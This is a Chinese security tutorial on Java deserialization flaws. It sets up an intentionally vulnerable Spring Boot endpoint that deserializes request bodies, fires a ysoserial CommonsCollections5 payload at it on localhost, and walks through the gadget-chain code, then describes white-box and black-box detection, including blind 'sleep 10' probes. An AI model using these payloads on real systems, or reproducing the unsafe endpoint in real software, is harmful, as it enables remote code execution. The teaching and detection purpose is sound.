java反序列化漏洞及其检测

 2022-09-17
原文地址:https://blog.51cto.com/u_15736783/5642228

【摘要】 1 java反序列化简介java反序列化是近些年安全业界研究的重点领域之一,在Apache Commons Collections 、JBoss 、WebLogic 等常见容器、库中均发现有该类漏洞,而且该类型漏洞容易利用,造成的破坏很大,因此影响广泛。在本文中将先介绍java反序列化漏洞的原理,然后在此基础上介绍安全工具如何检测、扫描此类漏洞。 1.1 什么是反序列化Java 序列化是指...

1 java反序列化简介

java反序列化是近些年安全业界研究的重点领域之一,在Apache Commons CollectionsJBossWebLogic 等常见容器、库中均发现有该类漏洞,而且该类型漏洞容易利用,造成的破坏很大,因此影响广泛。

在本文中将先介绍java反序列化漏洞的原理,然后在此基础上介绍安全工具如何检测、扫描此类漏洞。

1.1 什么是反序列化

Java 序列化是指把 Java 对象转换为字节序列的过程,序列化后的字节数据可以保存在文件、数据库中;而Java 反序列化是指把字节序列恢复为 Java 对象的过程。如下图所示:

202209172231492361.png

序列化和反序列化通过ObjectInputStream.readObject()ObjectOutputStream.writeObject()方法实现。

在java中任何类如果想要序列化必须实现java.io.Serializable接口,例如:

    public class Hello implements java.io.Serializable {
        String name;
    }

java.io.Serializable其实是一个空接口,在java中该接口的唯一作用是对一个类做一个 标记 让jre确定这个类是可以序列化的。

同时java中支持在类中定义如下函数:

    private void writeObject(java.io.ObjectOutputStream out)
           throws IOException
    private void readObject(java.io.ObjectInputStream in)
           throws IOException, ClassNotFoundException;

这两个函数不是java.io.Serializable的接口函数,而是 约定 的函数,如果一个类实现了这两个函数,那么在序列化和反序列化的时候ObjectInputStream.readObject()ObjectOutputStream.writeObject()会主动调用这两个函数。这也是反序列化产生的根本原因

例如:

    public class Hello implements java.io.Serializable {
        String name;
        private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
            Runtime.getRuntime().exec(name);
        }
    }

该类在反序列化的时候会执行命令,我们构造一个序列化的对象,name为恶意命令,那么在反序列化的时候就会执行恶意命令。

在反序列化的过程中,操作者仅能够控制“数据”,无法控制如何执行,因此必须借助被应用中的具体场景来实现目的,例如上例中存在一个执行命令的可以序列化的类(Hello),利用该类的readObject函数中的命令执行场景来实现

1.2 反序列化漏洞示例复现

在这里我们构造一个有漏洞的靶场进行漏洞复现测试:使用spring-boot编写一个可以接收http数据并反序列化的应用程序。

使用 https://start.spring.io/ 生成一个spring-boot应用,选择Maven Project、java8

202209172231503062.png

下载到本地,导入IDE,修改 pom.xml 加入 Apache Commons Collections 3.1 依赖(该版本存在反序列化漏洞)

    <dependency>
      <groupId>commons-collections</groupId>
      <artifactId>commons-collections</artifactId>
      <version>3.1</version>
    </dependency>

修改 DemoApplication.java 为如下代码

    package com.example.demo;
    
    import java.io.IOException;
    import java.io.ObjectInputStream;
    import javax.servlet.http.HttpServletRequest;
    import org.springframework.boot.SpringApplication;
    import org.springframework.boot.autoconfigure.SpringBootApplication;
    import org.springframework.web.bind.annotation.PostMapping;
    import org.springframework.web.bind.annotation.RestController;
    import org.springframework.web.bind.annotation.GetMapping;
    
    @SpringBootApplication
    @RestController
    public class DemoApplication {public static void main(String[] args) {SpringApplication.run(DemoApplication.class, args);}
    
        @GetMapping("/hello")public String hello() {return "hello world";}
    
        // 反序列化接口@PostMapping("/rmi")public String rmi(HttpServletRequest request) {try {ObjectInputStream ois = new ObjectInputStream(request.getInputStream());Object obj = (Object) ois.readObject();return "unmarshal " + obj.getClass().getName() + " ok";} catch (ClassNotFoundException | IOException e) {return "unmarshal failed";}}
    }

此时我们就完成了一个有 Apache Commons Collections 漏洞的 验证靶场 ,启动该靶场应用

我们使用 ysoserial 生成payload:

    java -jar ysoserial-master-8eb5cbfbf6-1.jar CommonsCollections5 "calc.exe" > poc

然后使用 httpie 发送payload(poc)

    http post http://127.0.0.1:8080/rmi < poc

这时候就可以看到poc中的命令执行了

202209172231513553.png

1.3 反序列化漏洞解析

在1.2 的示例中我们使用了 ysoserial 的 CommonsCollections5 这个payload,本节我们对此poc进行分析

    public BadAttributeValueExpException getObject(final String command) throws Exception {
        final String[] execArgs = new String[] { command };
        // inert chain for setup
        final Transformer transformerChain = new ChainedTransformer(  // 执行“链条”该类的transform会调用transformer使用反射执行命令
                new Transformer[]{ new ConstantTransformer(1) });
        // real chain for after setup
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                    String.class, Class[].class }, new Object[] {
                    "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                    Object.class, Object[].class }, new Object[] {
                    null, new Object[0] }),
                new InvokerTransformer("exec",
                    new Class[] { String.class }, execArgs),   // 这里是我们输入的命令 calc.exe 
                new ConstantTransformer(1) };
    
        final Map innerMap = new HashMap();
    
        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);  // 该类的get接口如果输入的key找不到会调用transform函数触发命令执行
    
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");  // 该类的toString会最终调用lazyMap.get
    
        BadAttributeValueExpException val = new BadAttributeValueExpException(null); // 最终反序列化的类,readObject会调用entry.toString
        Field valfield = val.getClass().getDeclaredField("val");
        Reflections.setAccessible(valfield);
        valfield.set(val, entry);
    
        Reflections.setFieldValue(transformerChain, "iTransformers", transformers); 
    
        return val;
    }

可以最终反序列化的对象为 javax.management.BadAttributeValueExpException ,在该类提供了 readObject 方法,在其中有问题的地方为

    val = valObj.toString();

这里的 valObjTiedMapEntry(lazyMap, “foo”) ,该类的toString方法

    public String toString() {
        return this.getKey() + "=" + this.getValue();
    }

其中 this.getValue

    public Object getValue() {
        return this.map.get(this.key);
    }

this.maplazyMap = LazyMap.decorate(innerMap, transformerChain),在 lazyMap 中

    public Object get(Object key) {
        if (!super.map.containsKey(key)) {  // 当找不到key的时候调用transform
            Object value = this.factory.transform(key);
            super.map.put(key, value);
            return value;
        } else {
            return super.map.get(key);
        }
    }

在其中看到,没有找到key的时候,调用了 this.factory.transform(key)

this.factory为我们构造的包含payload的执行链 transformerChain 该transformer会最终通过反射执行命令。

2 java反序列化漏洞检测

在1中的原理介绍中,我们可以看到,反序列化漏洞需要依赖 执行链 来完成payload执行。由于反序列化漏洞的特性,在检测的时候 漏洞扫描工具 一般聚焦 已知漏洞 的检测,而未知漏洞的检测,安全工具能力非常有限,一般需要专业人员通过 安全审计代码审计 等方式发现。

java反序列化漏洞依赖于两个因素:

  1. 应用是否有反序列化接口
  2. 应用中是否包含有漏洞的组件

因此对应的漏洞扫描工具也需要根据这两个因素进行检测。

2.1 白盒工具检测

白盒代码审计工具,可通过在 调用链 中查找是否有发序列化的操作:

  • 调用链的入口不同框架是不同的,例如在1.2例子中调用链的入口为spring-boot的controller
  • 调用链中一旦发现有发序列化操作ObjectInputStream.readObject()则该接口存在序列化操作

但仅仅依靠以上信息不足以判断是否存在漏洞,还需要判断代码中是否有存在*执行链**的三方依赖。在java中,一般通过分析 pox.xml build.gradle 文件来分析是否包含有漏洞的组件。

2.2 黑盒漏洞扫描器检测

web漏洞扫描器检测原理和白盒工具不一样。

首先漏洞扫描器要解决的是识别出反序列化的请求,在这里需要注意的是web漏洞扫描是无法通过爬虫方式直接发现反序列化接口的,因此往往需要配合其他web漏洞扫描器的组件(例如代理组件)来识别反序列化接口,如下图所示

202209172231528494.png

如今web漏洞扫描器都提供了代理组件来发现应用的http请求,爬虫组件可通过前台页面触发请求进入代理组件;但在API场景下,还是需要测试人员进行API调用该操作才能够产生http请求数据。

在截获到http请求数据后,代理组件可以通过两种方式判断一个请求是否是序列化请求:

  1. 通过http请求的Content-Type,具体来说ContentType: application/x-java-serialized-object 是序列化请求的请求头
  2. 检查请求数据的开头是否是0xaced,有时候序列化请求不存在正确的content-type,此时需要根据数据来判断是否是序列化请求

在确定一个接口是序列化接口的时候会漏洞扫描器会发送探测payload判断接口是否有反序列化漏洞,这里的payload类似于1.2节中使用的ysoserial 工具,由于绝大多数情况下不可能看到回显(http返回数据没有执行结果),因此只能进行 盲注 ,即发送 sleep 10 这样的命令,根据响应时间判断是否有漏洞。